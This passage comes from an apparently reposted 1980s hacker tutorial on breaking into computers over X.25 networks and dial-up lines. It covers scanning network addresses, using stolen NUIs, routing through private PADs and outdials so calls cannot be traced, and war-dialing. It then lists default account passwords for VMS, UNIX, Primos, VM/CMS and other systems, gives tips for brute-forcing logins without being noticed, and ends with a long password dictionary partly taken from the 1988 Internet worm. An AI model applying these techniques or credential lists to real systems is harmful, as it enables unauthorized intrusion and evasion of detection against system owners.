_______________________________________________________________________________
|
02041 Datanet 1 Netherlands | 03110 Telenet USA
02062 DCS Belgium | 03340 Telepac Mexico
02080 Transpac France | 03400 UDTS-Curacau Curacau
02284 Telepac Switzerland | 04251 Isranet Israel
02322 Datex-P Austria | 04401 DDX-P Japan
02329 Radaus Austria | 04408 Venus-P Japan
02342 PSS UK | 04501 Dacom-Net South Korea
02382 Datapak Denmark | 04542 Intelpak Singapore
02402 Datapak Sweden | 05052 Austpac Australia
02405 Telepak Sweden | 05053 Midas Australia
02442 Finpak Finland | 05252 Telepac Hong Kong
02624 Datex-P West Germany | 05301 Pacnet New Zealand
02704 Luxpac Luxembourg | 06550 Saponet South Africa
02724 Eirpak Ireland | 07240 Interdata Brazil
03020 Datapac Canada | 07241 Renpac Brazil
03028 Infogram Canada | 09000 Dialnet USA
03103 ITT/UDTS USA | 07421 Dompac French Guiana
03106 Tymnet USA |

There are two ways to find interesting addresses to connect to. The first
and easiest way is to obtain a copy of the LOD/H Telenet Directory from the
LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good
list of non-US addresses in Phrack Inc. Newsletter Issue 21. These files will
tell you the NUA, whether it will accept collect calls or not, what type of
computer system it is (if known) and who it belongs to (also if known.)
The second method of locating interesting addresses is to scan for them
manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a
Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to
look at, you could type @c 412 614 (0's can be ignored most of the time.)
If this node allows collect billed connections, it will say 412 614
CONNECTED and then you'll possibly get an identifying header or just a
Username: prompt. If it doesn't allow collect connections, it will give you a
message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to
the right, and return you to the @ prompt.
There are two primary ways to get around the REFUSED COLLECT message. The
first is to use a Network User Id (NUI) to connect. An NUI is a username/pw
combination that acts like a charge account on Telenet. To collect to node
412 614 with NUI junk4248, password 525332, I'd type the following:
@c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the
screen. The problem with NUI's is that they're hard to come by unless you're
a good social engineer with a thorough knowledge of Telenet (in which case
you probably aren't reading this section), or you have someone who can
provide you with them.
The second way to connect is to use a private PAD, either through an X.25
PAD or through something like Netlink off of a Prime computer (more on these
two below.)
The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area
Code that the computer is located in (i.e. 713 xxx would be a computer in
Houston, Texas.) If there's a particular area you're interested in, (say,
New York City 914), you could begin by typing @c 914 001 <cr>. If it connects,
you make a note of it and go on to 914 002. You do this until you've found
some interesting systems to play with.
Not all systems are on a simple xxx yyy address. Some go out to four or
five digits (914 2354), and some have decimal or numeric extensions
(422 121A = 422 121.01). You have to play with them, and you never know what
you're going to find. To fully scan out a prefix would take ten million
attempts per prefix. For example, if I want to scan 512 completely, I'd have
to start with 512 00000.00 and go through 512 00000.99, then increment the
address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning.
There are plenty of neat computers to play with in a 3-digit scan, however,
so don't go berserk with the extensions.
Sometimes you'll attempt to connect and it will just be sitting there after
one or two minutes. In this case, you want to abort the connect attempt by
sending a hard break (this varies with different term programs, on Procomm,
it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect.
If you connect to a computer and wish to disconnect, you can type <cr> @
<cr> and you it should say TELENET and then give you the @ prompt. From there,
type D to disconnect or CONT to re-connect and continue your session
uninterrupted.

Outdials, Network Servers, and PADs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In addition to computers, an NUA may connect you to several other things.
One of the most useful is the outdial. An outdial is nothing more than a modem
you can get to over telenet- similar to the PC Pursuit concept, except that
these don't have passwords on them most of the time.
When you connect, you will get a message like 'Hayes 1200 baud outdial,
Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established
on Modem 5588'. The best way to figure out the commands on these is to
type ? or H or HELP- this will get you all the information that you need to
use one.
Safety tip here- when you are hacking *any* system through a phone dialup,
always use an outdial or a diverter, especially if it is a local phone number
to you. More people get popped hacking on local computers than you can
imagine, Intra-LATA calls are the easiest things in the world to trace inexp-
ensively.
Another nice trick you can do with an outdial is use the redial or macro
function that many of them have. First thing you do when you connect is to
invoke the 'Redial Last Number' facility. This will dial the last number used,
which will be the one the person using it before you typed. Write down the
number, as no one would be calling a number without a computer on it. This
is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D'
for Display and it will display the five numbers stored as macros in the
modem's memory.
There are also different types of servers for remote Local Area Networks
(LAN) that have many machine all over the office or the nation connected to
them. I'll discuss identifying these later in the computer ID section.
And finally, you may connect to something that says 'X.25 Communication
PAD' and then some more stuff, followed by a new @ prompt. This is a PAD
just like the one you are on, except that all attempted connections are billed
to the PAD, allowing you to connect to those nodes who earlier refused collect
connections.
This also has the added bonus of confusing where you are connecting from.
When a packet is transmitted from PAD to PAD, it contains a header that has
the location you're calling from. For instance, when you first connected
to Telenet, it might have said 212 44A CONNECTED if you called from the 212
area code. This means you were calling PAD number 44A in the 212 area.
That 21244A will be sent out in the header of all packets leaving the PAD.
Once you connect to a private PAD, however, all the packets going out
from *it* will have it's address on them, not yours. This can be a valuable
buffer between yourself and detection.

Phone Scanning
~~~~~~~~~~~~~~
Finally, there's the time-honored method of computer hunting that was made
famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie
Wargames. You pick a three digit phone prefix in your area and dial every
number from 0000 --> 9999 in that prefix, making a note of all the carriers
you find. There is software available to do this for nearly every computer
in the world, so you don't have to do it by hand.

Part Three: I've Found a Computer, Now What?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This next section is applicable universally. It doesn't matter how you
found this computer, it could be through a network, or it could be from
carrier scanning your High School's phone prefix, you've got this prompt
this prompt, what the hell is it?
I'm *NOT* going to attempt to tell you what to do once you're inside of
any of these operating systems. Each one is worth several G-files in its
own right. I'm going to tell you how to identify and recognize certain
OpSystems, how to approach hacking into them, and how to deal with something
that you've never seen before and have know idea what it is.

VMS- The VAX computer is made by Digital Equipment Corporation (DEC),
and runs the VMS (Virtual Memory System) operating system.
VMS is characterized by the 'Username:' prompt. It will not tell
you if you've entered a valid username or not, and will disconnect
you after three bad login attempts. It also keeps track of all
failed login attempts and informs the owner of the account next time
s/he logs in how many bad login attempts were made on the account.
It is one of the most secure operating systems around from the
outside, but once you're in there are many things that you can do
to circumvent system security. The VAX also has the best set of
help files in the world. Just type HELP and read to your heart's
content.
Common Accounts/Defaults: [username: password [[,password]] ]
SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB
OPERATOR: OPERATOR
SYSTEST: UETP
SYSMAINT: SYSMAINT or SERVICE or DIGITAL
FIELD: FIELD or SERVICE
GUEST: GUEST or unpassworded
DEMO: DEMO or unpassworded
DECNET: DECNET

DEC-10- An earlier line of DEC computer equipment, running the TOPS-10
operating system. These machines are recognized by their
'.' prompt. The DEC-10/20 series are remarkably hacker-friendly,
allowing you to enter several important commands without ever
logging into the system. Accounts are in the format [xxx,yyy] where
xxx and yyy are integers. You can get a listing of the accounts and
the process names of everyone on the system before logging in with
the command .systat (for SYstem STATus). If you seen an account
that reads [234,1001] BOB JONES, it might be wise to try BOB or
JONES or both for a password on this account. To login, you type
.login xxx,yyy and then type the password when prompted for it.
The system will allow you unlimited tries at an account, and does
not keep records of bad login attempts. It will also inform you
if the UIC you're trying (UIC = User Identification Code, 1,2 for
example) is bad.
Common Accounts/Defaults:
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES

UNIX- There are dozens of different machines out there that run UNIX.
While some might argue it isn't the best operating system in the
world, it is certainly the most widely used. A UNIX system will
usually have a prompt like 'login:' in lower case. UNIX also
will give you unlimited shots at logging in (in most cases), and
there is usually no log kept of bad attempts.
Common Accounts/Defaults: (note that some systems are case
sensitive, so use lower case as a general rule. Also, many times
the accounts will be unpassworded, you'll just drop right in!)
root: root
admin: admin
sysadmin: sysadmin or admin
unix: unix
uucp: uucp
rje: rje
guest: guest
demo: demo
daemon: daemon
sysbin: sysbin

Prime- Prime computer company's mainframe running the Primos operating
system. The are easy to spot, as the greet you with
'Primecon 18.23.05' or the like, depending on the version of the
operating system you run into. There will usually be no prompt
offered, it will just look like it's sitting there. At this point,
type 'login <username>'. If it is a pre-18.00.00 version of Primos,
you can hit a bunch of ^C's for the password and you'll drop in.
Unfortunately, most people are running versions 19+. Primos also
comes with a good set of help files. One of the most useful
features of a Prime on Telenet is a facility called NETLINK. Once
you're inside, type NETLINK and follow the help files. This allows
you to connect to NUA's all over the world using the 'nc' command.
For example, to connect to NUA 026245890040004, you would type
@nc :26245890040004 at the netlink prompt.
Common Accounts/Defaults:
PRIME PRIME or PRIMOS
PRIMOS_CS PRIME or PRIMOS
PRIMENET PRIMENET
SYSTEM SYSTEM or PRIME
NETLINK NETLINK
TEST TEST
GUEST GUEST
GUEST1 GUEST

HP-x000- This system is made by Hewlett-Packard. It is characterized by the
':' prompt. The HP has one of the more complicated login sequences
around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'.
Fortunately, some of these fields can be left blank in many cases.
Since any and all of these fields can be passworded, this is not
the easiest system to get into, except for the fact that there are
usually some unpassworded accounts around. In general, if the
defaults don't work, you'll have to brute force it using the
common password list (see below.) The HP-x000 runs the MPE operat-
ing system, the prompt for it will be a ':', just like the logon
prompt.
Common Accounts/Defaults:
MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB
MGR.HPOFFICE,PUB unpassworded
MANAGER.ITF3000,PUB unpassworded
FIELD.SUPPORT,PUB user: FLD, others unpassworded
MAIL.TELESUP,PUB user: MAIL, others
unpassworded
MGR.RJE unpassworded
FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded
MGR.TELESUP,PUB,HPONLY,HP3 unpassworded

IRIS- IRIS stands for Interactive Real Time Information System. It orig-
inally ran on PDP-11's, but now runs on many other minis. You can
spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner,
and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking
in, and keeps no logs of bad attempts. I don't know any default
passwords, so just try the common ones from the password database
below.
Common Accounts:
MANAGER
BOSS
SOFTWARE
DEMO
PDP8
PDP11
ACCOUNTING

VM/CMS- The VM/CMS operating system runs in International Business Machines
(IBM) mainframes. When you connect to one of these, you will get
message similar to 'VM/370 ONLINE', and then give you a '.' prompt,
just like TOPS-10 does. To login, you type 'LOGON <username>'.
Common Accounts/Defaults are:
AUTOLOG1: AUTOLOG or AUTOLOG1
CMS: CMS
CMSBATCH: CMS or CMSBATCH
EREP: EREP
MAINT: MAINT or MAINTAIN
OPERATNS: OPERATNS or OPERATOR
OPERATOR: OPERATOR
RSCS: RSCS
SMART: SMART
SNA: SNA
VMTEST: VMTEST
VMUTIL: VMUTIL
VTAM: VTAM

NOS- NOS stands for Networking Operating System, and runs on the Cyber
computer made by Control Data Corporation. NOS identifies itself
quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE
SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you
will get will be FAMILY:. Just hit return here. Then you'll get
a USER NAME: prompt. Usernames are typically 7 alpha-numerics
characters long, and are *extremely* site dependent. Operator
accounts begin with a digit, such as 7ETPDOC.
Common Accounts/Defaults:
$SYSTEM unknown
SYSTEMV unknown

Decserver- This is not truly a computer system, but is a network server that
has many different machines available from it. A Decserver will
say 'Enter Username>' when you first connect. This can be anything,
it doesn't matter, it's just an identifier. Type 'c', as this is
the least conspicuous thing to enter. It will then present you
with a 'Local>' prompt. From here, you type 'c <systemname>' to
connect to a system. To get a list of system names, type
'sh services' or 'sh nodes'. If you have any problems, online
help is available with the 'help' command. Be sure and look for
services named 'MODEM' or 'DIAL' or something similar, these are
often outdial modems and can be useful!

GS/1- Another type of network server. Unlike a Decserver, you can't
predict what prompt a GS/1 gateway is going to give you. The
default prompt it 'GS/1>', but this is redifinable by the
system administrator. To test for a GS/1, do a 'sh d'. If that
prints out a large list of defaults (terminal speed, prompt,
parity, etc...), you are on a GS/1. You connect in the same manner
as a Decserver, typing 'c <systemname>'. To find out what systems
are available, do a 'sh n' or a 'sh c'. Another trick is to do a
'sh m', which will sometimes show you a list of macros for logging
onto a system. If there is a macro named VAX, for instance, type
'do VAX'.

The above are the main system types in use today. There are
hundreds of minor variants on the above, but this should be
enough to get you started.

Unresponsive Systems
~~~~~~~~~~~~~~~~~~~~
Occasionally you will connect to a system that will do nothing but sit
there. This is a frustrating feeling, but a methodical approach to the system
will yield a response if you take your time. The following list will usually
make *something* happen.
1) Change your parity, data length, and stop bits. A system that won't re-
spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term
program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE,
with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one.
While having a good term program isn't absolutely necessary, it sure is
helpful.
2) Change baud rates. Again, if your term program will let you choose odd
baud rates such as 600 or 1100, you will occasionally be able to penetrate
some very interesting systems, as most systems that depend on a strange
baud rate seem to think that this is all the security they need...
3) Send a series of <cr>'s.
4) Send a hard break followed by a <cr>.
5) Type a series of .'s (periods). The Canadian network Datapac responds
to this.
6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does
a MultiLink II.
7) Begin sending control characters, starting with ^A --> ^Z.
8) Change terminal emulations. What your vt100 emulation thinks is garbage
may all of a sudden become crystal clear using ADM-5 emulation. This also
relates to how good your term program is.
9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO,
JOIN, HELP, and anything else you can think of.
10) If it's a dialin, call the numbers around it and see if a company
answers. If they do, try some social engineering.

Brute Force Hacking
~~~~~~~~~~~~~~~~~~~
There will also be many occasions when the default passwords will not work
on an account. At this point, you can either go onto the next system on your
list, or you can try to 'brute-force' your way in by trying a large database
of passwords on that one account. Be careful, though! This works fine on
systems that don't keep track of invalid logins, but on a system like a VMS,
someone is going to have a heart attack if they come back and see '600 Bad
Login Attempts Since Last Session' on their account. There are also some
operating systems that disconnect after 'x' number of invalid login attempts
and refuse to allow any more attempts for one hour, or ten minutes, or some-
times until the next day.
The following list is taken from my own password database plus the data-
base of passwords that was used in the Internet UNIX Worm that was running
around in November of 1988. For a shorter group, try first names, computer
terms, and obvious things like 'secret', 'password', 'open', and the name
of the account. Also try the name of the company that owns the computer
system (if known), the company initials, and things relating to the products
the company makes or deals with.

Password List
=============

aaa daniel jester rascal
academia danny johnny really
ada dave joseph rebecca
adrian deb joshua remote
aerobics debbie judith rick
airplane deborah juggle reagan
albany december julia robot
albatross desperate kathleen robotics
albert develop kermit rolex
alex diet kernel ronald
alexander digital knight rosebud
algebra discovery lambda rosemary
alias disney larry roses
alpha dog lazarus ruben
alphabet drought lee rules
ama duncan leroy ruth
amy easy lewis sal
analog eatme light saxon
anchor edges lisa scheme
andy edwin louis scott
andrea egghead lynne scotty
animal eileen mac secret
answer einstein macintosh sensor
anything elephant mack serenity
arrow elizabeth maggot sex
arthur ellen magic shark
asshole emerald malcolm sharon
athena engine mark shit
atmosphere engineer markus shiva
bacchus enterprise marty shuttle
badass enzyme marvin simon
bailey euclid master simple
banana evelyn maurice singer
bandit extension merlin single
banks fairway mets smile
bass felicia michael smiles
batman fender michelle smooch
beauty fermat mike smother
beaver finite minimum snatch
beethoven flower minsky snoopy
beloved foolproof mogul soap
benz football moose socrates
beowulf format mozart spit
berkeley forsythe nancy spring
berlin fourier napoleon subway
beta fred network success
beverly friend newton summer
bob frighten next super
brenda fun olivia support
brian gabriel oracle surfer
bridget garfield orca suzanne
broadway gauss orwell tangerine
bumbling george osiris tape
cardinal gertrude outlaw target
carmen gibson oxford taylor
carolina ginger pacific telephone
caroline gnu painless temptation
castle golf pam tiger
cat golfer paper toggle
celtics gorgeous password tomato
change graham pat toyota
charles gryphon patricia trivial
charming guest penguin unhappy
charon guitar pete unicorn
chester hacker peter unknown
cigar harmony philip urchin
classic harold phoenix utility
coffee harvey pierre vicky
coke heinlein pizza virginia
collins hello plover warren
comrade help polynomial water
computer herbert praise weenie
condo honey prelude whatnot
condom horse prince whitney
cookie imperial protect will
cooper include pumpkin william
create ingres puppet willie
creation innocuous rabbit winston
creator irishman rachmaninoff wizard
cretin isis rainbow wombat
daemon japan raindrop yosemite
dancer jessica random zap

Part Four: Wrapping it up!
~~~~~~~~~~~~~~~~~~~~~~~~~~
I hope this file has been of some help in getting started. If you're
asking yourself the question 'Why hack?', then you've probably wasted a lot
of time reading this, as you'll never understand. For those of you who
have read this and found it useful, please send a tax-deductible donation
of $5.00 (or more!) in the name of the Legion of Doom to:
The American Cancer Society
90 Park Avenue
New York, NY 10016

******************************************************************************
References:
1) Introduction to ItaPAC by Blade Runner
Telecom Security Bulletin #1
2) The IBM VM/CMS Operating System by Lex Luthor
The LOD/H Technical Journal #2
3) Hacking the IRIS Operating System by The Leftist
The LOD/H Technical Journal #3
4) Hacking CDC's Cyber by Phrozen Ghost
Phrack Inc. Newsletter #18
5) USENET comp.risks digest (various authors, various issues)
6) USENET unix.wizards forum (various authors)
7) USENET info-vax forum (various authors)

Recommended Reading:
1) Hackers by Steven Levy
2) Out of the Inner Circle by Bill Landreth
3) Turing's Man by J. David Bolter
4) Soul of a New Machine by Tracy Kidder
5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all
by William Gibson
6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley,
California, 94704, 415-995-2606
7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find.

Acknowledgements:
Thanks to my wife for putting up with me.
Thanks to Lone Wolf for the RSTS & TOPS assistance.
Thanks to Android Pope for proofreading, suggestions, and beer.
Thanks to The Urvile/Necron 99 for proofreading & Cyber info.
Thanks to Eric Bloodaxe for wading through all the trash.
Thanks to the users of Phoenix Project for their contributions.
Thanks to Altos Computer Systems, Munich, for the chat system.
Thanks to the various security personel who were willing to talk to
me about how they operate.

myworld

Thursday 20 November 2014

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